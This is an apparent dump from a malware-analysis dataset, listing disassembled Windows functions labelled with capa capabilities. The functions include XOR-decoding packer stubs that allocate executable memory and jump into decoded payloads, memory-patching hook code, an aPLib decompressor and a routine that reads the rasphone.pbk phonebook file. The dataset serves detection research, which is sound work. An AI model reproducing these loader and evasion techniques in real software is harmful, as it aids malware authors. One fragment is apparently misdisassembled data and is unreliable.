joyce8/EMBER2024-capa huggingface dataset:
Function at 0x12989c7
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x11c
cmp dword [esp + 0x128], 0
je 0x1298b8c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x130]
xor ebp, ebp
push edi
mov dword [esp + 0x1c], ebp
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x1298b88
mov edx, esi
mov eax, dword [edx]
mov ebx, dword [esp + 0x130]
add eax, ebx
mov dword [esp + 0x18], eax
mov eax, dword [edx + 0x10]
add eax, ebx
lea edi, [ecx + ebx]
mov dword [esp + 0x20], eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
jne 0x1298a32
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov dword [esp + 0x10], eax
push 0x104
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.01291142
add esp, 0xc
test ebx, ebx
je 0x1298b32
mov eax, dword [esp + 0x18]
and dword [esp + 0x14], 0
mov eax, dword [eax]
test eax, eax
je 0x1298b1b
mov esi, dword [esp + 0x10]
xor edi, edi
mov ebp, dword [esp + 0x130]
test eax, eax
jns 0x1298a77
movzx ebx, ax
jmp 0x1298a7c
lea ebx, [ebp + 2]
add ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x20]
mov dword [edi + ecx], eax
test eax, eax
jne 0x1298af3
cmp dword [0x129deac], 1
jne 0x1298af3
push 0x104
push eax
lea eax, [esp + 0x30]
push eax
call fcn.01291142
lea eax, [esp + 0x34]
push eax
call fcn.01298c74
lea eax, [esp + 0x38]
push 0x1290204
push eax
call fcn.01291170
lea eax, [esp + 0x40]
push ebx
push eax
call fcn.01291170
add esp, 0x20
lea eax, [esp + 0x24]
push 0
push eax
lea eax, [esp + 0x30]
push eax
call fcn.01291197
pop ecx
push eax
lea eax, [esp + 0x34]
push eax
push dword [0x129de58]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
inc ecx
mov edi, ecx
mov dword [esp + 0x14], ecx
shl edi, 2
mov eax, dword [edi + eax]
test eax, eax
jne 0x1298a70
mov esi, dword [esp + 0x134]
mov ebp, dword [esp + 0x1c]
inc ebp
imul edx, ebp, 0x14
mov dword [esp + 0x1c], ebp
add edx, esi
mov ecx, dword [edx + 0xc]
test ecx, ecx
jne 0x12989f9
jmp 0x1298b88
lea eax, [esp + 0x28]
push eax
call fcn.01298c74
lea eax, [esp + 0x2c]
mov dword [esp], 0x12901e8
push eax
call fcn.01291170
lea eax, [esp + 0x30]
push edi
push eax
call fcn.01291170
add esp, 0x10
cmp dword [0x129deac], 1
jne 0x1298b88
push 0
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x30]
push eax
call fcn.01291197
pop ecx
push eax
lea eax, [esp + 0x34]
push eax
push dword [0x129de58]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop edi
pop esi
pop ebp
pop ebx
xor eax, eax
add esp, 0x11c
ret
Function at 0x1298bc2
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x208
lea eax, [ebp - 0x410]
push eax
call fcn.01298c40
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x129dd24], eax
push 0
push 0
push 0
push 2
push 0
push dword [0x129dd24]
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [0x129dd28], eax
push 0
push 0
push 0
push 4
push dword [0x129dd28]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
add eax, dword [0x129deb4]
mov esp, ebp
pop ebp
ret
Function at 0x1298ccc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
cmp dword [ebp + 0x14], 0
jne 0x1298cdf
xor eax, eax
jmp 0x1298e63
mov eax, dword [ebp + 0xc]
add eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
and dword [ebp - 0x24], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 8]
movzx eax, word [eax + 4]
cmp eax, 0x14c
jne 0x1298d1d
mov eax, dword [ebp - 8]
add eax, 0xf8
mov dword [ebp - 0xc], eax
jmp 0x1298d36
mov eax, dword [ebp - 8]
movzx eax, word [eax + 4]
cmp eax, 0x8664
jne 0x1298d36
mov eax, dword [ebp - 8]
add eax, 0x108
mov dword [ebp - 0xc], eax
and dword [ebp - 0x10], 0
jmp 0x1298d43
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x10], eax
je 0x1298d7c
imul eax, dword [ebp - 0x10], 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0xc]
mov dword [ebp - 0x28], edx
lea eax, [ebp - 0x24]
push eax
push 0x40
imul eax, dword [ebp - 0x10], 0x28
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 8]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1298d3c
mov eax, dword [ebp + 0xc]
cmp eax, dword [ebp - 0x2c]
jae 0x1298e1c
mov eax, dword [ebp + 0xc]
add eax, 8
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x30], eax
and dword [ebp - 4], 0
jmp 0x1298dac
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x30]
je 0x1298e0b
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
movzx eax, word [ecx + eax*2]
test eax, eax
jne 0x1298dc4
jmp 0x1298da5
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
movzx eax, word [ecx + eax*2]
and eax, 0xfff
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
add ecx, eax
add ecx, dword [ebp + 8]
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
movzx eax, word [ecx + eax*2]
sar eax, 0xc
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
je 0x1298dfc
jmp 0x1298e09
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
add eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
jmp 0x1298da5
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 4]
mov dword [ebp + 0xc], ecx
jmp 0x1298d7c
and dword [ebp - 0x14], 0
jmp 0x1298e29
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x14], eax
je 0x1298e61
imul eax, dword [ebp - 0x14], 0x28
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + eax + 0xc]
mov dword [ebp - 0x38], edx
push 0
push dword [ebp - 0x24]
imul eax, dword [ebp - 0x14], 0x28
mov ecx, dword [ebp - 0xc]
push dword [ecx + eax + 8]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1298e22
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x129900a
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x6c
mov eax, dword [esp + 0x70]
push ebx
push esi
push edi
mov esi, dword [eax]
xor edi, edi
call fcn.01298fcd
push esi
call fcn.012991bb
push dword [esp + 0x84]
mov esi, eax
call fcn.012991bb
push 0x58
mov dword [esp + 0x20], eax
lea eax, [esp + 0x2c]
push edi
push eax
call fcn.01291142
lea eax, [esp + 0x34]
push eax
push 5
push esi
call fcn.01298ee7
mov ebx, eax
add esp, 0x20
cmp ebx, 5
jb 0x12991a2
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push dword [esp + 0x2c]
push esi
call fcn.012991f0
mov edi, eax
add esp, 0x14
test edi, edi
je 0x12991a2
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [esp + 0x14], 0
mov ebp, eax
and dword [esp + 0x10], 0
lea eax, [esp + 0x14]
push eax
push 0x40
push ebx
push esi
push ebp
mov dword [esp + 0x34], ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x1299185
lea eax, [esp + 0x10]
push eax
push 0x40
push 0x6c
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x129916a
xor edx, edx
lea ecx, [edi + 0x2c]
test ebx, ebx
je 0x12990eb
mov ebp, esi
sub ebp, ecx
mov al, byte [ecx + ebp]
mov byte [ecx], al
mov byte [edi + edx + 0x4c], al
inc edx
inc ecx
cmp edx, ebx
jb 0x12990d5
mov ebp, dword [esp + 0x20]
lea ecx, [edi + 0x2c]
lea eax, [ebx + esi]
push eax
lea eax, [ecx + ebx]
push eax
call fcn.01298f88
mov edx, dword [esp + 0x20]
mov eax, edx
pop ecx
pop ecx
mov ecx, esi
sub eax, esi
sub ecx, edx
cmp edx, esi
cmovb eax, ecx
cmp eax, 0x7fff0000
jbe 0x1299134
lea eax, [edi + 0xc]
push edx
push eax
call fcn.01298f88
pop ecx
sub eax, edi
pop ecx
sub eax, 0xc
push eax
lea eax, [edi + 0xc]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [edi + 0xc]
jmp 0x1299136
mov eax, edx
push eax
push esi
call fcn.01298f88
mov eax, dword [esp + 0x20]
pop ecx
pop ecx
mov dword [edi + 8], eax
lea eax, [edi + 0x2c]
push ebx
push eax
push ebp
mov dword [edi + 4], ebx
mov dword [edi], esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push 0x6c
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
push ebx
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
cmp dword [edi], 0
pop ebp
je 0x1299196
mov ecx, dword [esp + 0x7c]
lea eax, [edi + 0x2c]
mov dword [ecx], eax
jmp 0x12991a2
push 1
push edi
call fcn.012992e4
pop ecx
pop ecx
xor edi, edi
push 0x129dd40
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor eax, eax
test edi, edi
pop edi
pop esi
setne al
pop ebx
add esp, 0x6c
ret
Function at 0x12991f0
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x40
push ebx
xor ebx, ebx
cmp dword [0x129dd34], 0x40
jae 0x12992dd
mov ecx, dword [esp + 0x48]
push ebp
push esi
mov esi, dword [esp + 0x54]
mov ebp, 0xfff80000
add esi, ecx
add ecx, dword [esp + 0x5c]
push edi
cmp ecx, 0x80000000
lea edi, [esp + 0x2c]
push 9
lea eax, [ecx + 0x7ff80000]
cmovb ebp, eax
xor eax, eax
pop ecx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
lea edi, [esi - 0x7fff0000]
inc eax
cmp esi, 0x80000000
cmovb edi, eax
cmp edi, ebp
jae 0x12992da
push 0x1c
lea eax, [esp + 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x12992b5
cmp dword [esp + 0x20], 0x10000
jne 0x12992a7
mov eax, dword [esp + 0x1c]
cmp eax, 0x6c
jb 0x12992ab
mov ecx, dword [esp + 0x48]
cmp eax, ecx
jb 0x12992ab
lea eax, [ecx - 1]
xor edx, edx
add eax, edi
div ecx
push 0x20
imul eax, ecx
push 0x3000
push 0x6c
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x12992b9
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
add edi, eax
cmp edi, ebp
jb 0x1299258
test ebx, ebx
je 0x12992da
xor eax, eax
cmp dword [eax*4 + 0x129dd58], 0
je 0x12992cd
inc eax
cmp eax, 0x40
jb 0x12992bb
jmp 0x12992da
inc dword [0x129dd34]
mov dword [eax*4 + 0x129dd58], ebx
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x40
ret
Function at 0x129a94c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x118]
push edi
lea edi, [eax + ebp]
cmp eax, 8
ja 0x129a96f
push 0xffffffffffffffe2
pop eax
jmp 0x129ab04
push ebx
mov ebx, dword [esp + 0x11c]
push esi
push 0x800
lea esi, [ebp + 8]
lea eax, [ebx + 0x5410]
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [ebx + 0x140c]
push esi
push eax
call fcn.0129cc43
add esp, 0x14
cmp eax, 0xffffff88
ja 0x129aaff
add esi, eax
mov dword [esp + 0x18], 0x1c
mov eax, edi
sub eax, esi
push eax
push esi
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0129ab6e
add esp, 0x14
mov dword [esp + 0x10], eax
cmp eax, 0xffffff88
ja 0x129aaff
cmp dword [esp + 0x14], 8
ja 0x129aaff
push dword [esp + 0x14]
lea eax, [esp + 0x30]
push dword [esp + 0x1c]
push eax
lea eax, [ebx + 0x804]
push eax
call fcn.0129b029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x129aaff
add esi, dword [esp + 0x10]
mov eax, edi
sub eax, esi
mov dword [esp + 0x20], 0x34
push eax
push esi
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0xc0]
push eax
call fcn.0129ab6e
add esp, 0x14
mov dword [esp + 0x10], eax
cmp eax, 0xffffff88
ja 0x129aaff
cmp dword [esp + 0x1c], 9
ja 0x129aaff
push dword [esp + 0x1c]
lea eax, [esp + 0xb4]
push dword [esp + 0x24]
push eax
lea eax, [ebx + 0xc08]
push eax
call fcn.0129b029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x129aaff
add esi, dword [esp + 0x10]
mov eax, edi
sub eax, esi
mov dword [esp + 0x10], 0x23
push eax
push esi
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x78]
push eax
call fcn.0129ab6e
add esp, 0x14
mov dword [esp + 0x28], eax
cmp eax, 0xffffff88
ja 0x129aaff
cmp dword [esp + 0x24], 9
ja 0x129aaff
push dword [esp + 0x24]
lea eax, [esp + 0x6c]
push dword [esp + 0x14]
push eax
push ebx
call fcn.0129b029
add esp, 0x10
cmp eax, 0xffffff88
ja 0x129aaff
add esi, dword [esp + 0x28]
lea eax, [esi + 0xc]
cmp eax, edi
ja 0x129aaff
sub edi, esi
xor edx, edx
sub edi, 0xc
add ebx, 0x5c10
mov ecx, dword [esi]
add esi, 4
test ecx, ecx
je 0x129aaff
cmp ecx, edi
jae 0x129aaff
mov dword [ebx], ecx
inc edx
add ebx, 4
cmp edx, 3
jl 0x129aae1
sub esi, ebp
mov eax, esi
jmp 0x129ab02
push 0xffffffffffffffe2
pop eax
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x10c
ret
Function at 0x401645
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401654
pop dword [ebp - 0x38]
mov eax, 0x5412ac04
add eax, 0xac2d6a50
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x200f5228
add dword [ebp - 0x48], 0x2e42f323
mov dword [ebp - 0x44], 0x68d33f40
sub dword [ebp - 0x44], 0x369ff2fb
mov dword [ebp - 0x40], 0x5b4f8779
sub dword [ebp - 0x40], 0xf03434b
mov dword [ebp - 0x3c], 0xf1c5cb01
sub dword [ebp - 0x3c], 0xf1c5cb01
lea eax, [ebp - 0x48]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xcfbf1398
sub dword [ebp - 0x48], 0x5b4caa42
mov dword [ebp - 0x44], 0xe77eb8c0
sub dword [ebp - 0x44], 0xa612574b
mov dword [ebp - 0x40], 0x4f05982f
sub dword [ebp - 0x40], 0xeb962bc3
mov dword [ebp - 0x3c], 0xe7486771
add dword [ebp - 0x3c], 0x18b7988f
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0xef19892d
add eax, 0x1127471b
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3a949
push 0
call eax
mov ecx, 0x16527db5
add ecx, 0xe9adceb9
mov esi, eax
mov edx, 0xfc52ed65
sub edx, 0xfc113d65
add edx, dword [ebp - 0x38]
mov ebx, 0x8d482953
sub ebx, 0x91629c11
mov edi, dword [edx]
add dword [ebp - 0xc], 0x5f842655
sub edi, ebx
sub dword [ebp - 0x10], 0x8840ef0a
mov dword [esi], edi
xor dword [ebp - 0x34], 0xcc115f6e
add esi, 0x62096c16
add esi, 0x9df693ee
add edx, 0x8311c0f
add edx, 0xf7cee3f5
loop 0x401771
add eax, 0x1248b
xor ebx, ebx
add ebx, eax
add eax, 0x3571ba84
sub eax, 0x3571ba7f
mov ecx, 0xf7666311
add ecx, 0x8d99cef
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x5b8678
Capabilities:
Encode data using xor

Disassembly:
in eax, 0x45
or ah, ah
jnp 0x5b8650
push cs
mov dl, 0xb4
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.10007073
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.10007073
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.10007073
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.10007073
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.10007073
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.10007073
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.10007073
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.10007073
push 0xd008
push edi
call fcn.10007073
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.10007073
int3

Function at 0x10007073
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10007082
pop dword [ebp - 0x50]
mov eax, 0xabf3c688
sub eax, 0x9bf35606
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3e0b9
push 0
mov eax, 0x12e7bb07
sub eax, 0x2e67aa3
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x9b411920
add ecx, 0x64bf42f0
mov ebx, eax
mov esi, 0xe7b31bb5
add esi, 0x284e6a4b
add esi, dword [ebp - 0x50]
mov edx, 0xa3269616
xor dword [ebp - 8], edx
mov edi, dword [esi]
mov dword [ebp - 0x18], 0x59767db3
xor edi, edx
xor dword [ebp - 8], 0x112b9063
mov dword [ebx], edi
add ebx, 4
add esi, 4
loop 0x100070db
add eax, 0x7d70c642
sub eax, 0x7d6f632f
mov ebx, eax
add eax, 0xf87380ba
sub eax, 0xf87380b5
mov ecx, 0x7eb7979f
sub ecx, 0x6eb7979f
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1088d0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1088d200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1088d0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1088d0c2
add dl, dl
jne 0x1088d0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1088d134
xor eax, eax
add dl, dl
jne 0x1088d0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1088d1d5
add dl, dl
jne 0x1088d0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1088d108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1088d113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1088d11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1088d12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1088d0cd
mov eax, 1
add dl, dl
jne 0x1088d142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1088d14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1088d139
sub eax, ebx
mov ebx, 1
jne 0x1088d180
mov ecx, 1
add dl, dl
jne 0x1088d166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1088d171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1088d15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1088d0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1088d197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1088d1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1088d18e
cmp eax, 0x7d00
jae 0x1088d1c5
cmp eax, 0x500
jb 0x1088d1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1088d0cd
cmp eax, 0x7f
ja 0x1088d1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1088d0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1088d1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1088d0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x402a70
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x21c
push ebx
push ebp
push esi
push edi
push str.GetWindowsDirectoryA
mov ebx, ecx
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x1c]
push 0x105
push ecx
xor ebp, ebp
call eax
lea edx, [esp + 0x1c]
push 0x5c
push edx
call fcn.00416040
mov edx, eax
or ecx, 0xffffffff
add esp, 8
mov edi, str.Documents_and_Settings_
xor eax, eax
inc edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x1c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 0x14]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x23
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x24]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x12c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebp
call dword [0x429800]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
lea ecx, [esp + 0x128]
push ecx
lea edx, [esp + 0x12c]
push 0x42413c
push edx
call dword [0x4298bc]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x134]
push 0x1000
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
call fcn.00415686
add esp, 0x14
mov esi, eax
lea ebx, [esp + 0x14]
mov dword [esp + 0x10], 2
mov edx, dword [ebx]
mov ecx, 0x400
xor eax, eax
mov edi, esi
push edx
push 0x1000
rep stosd dword es:[edi], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [esi]
mov edx, esi
test al, al
je 0x402bc8
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
inc ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [edx + ecx + 1]
lea edx, [edx + ecx + 1]
test al, al
jne 0x402baf
mov eax, dword [esp + 0x10]
add ebx, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x402b8d
push esi
call fcn.00415694
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x21c
ret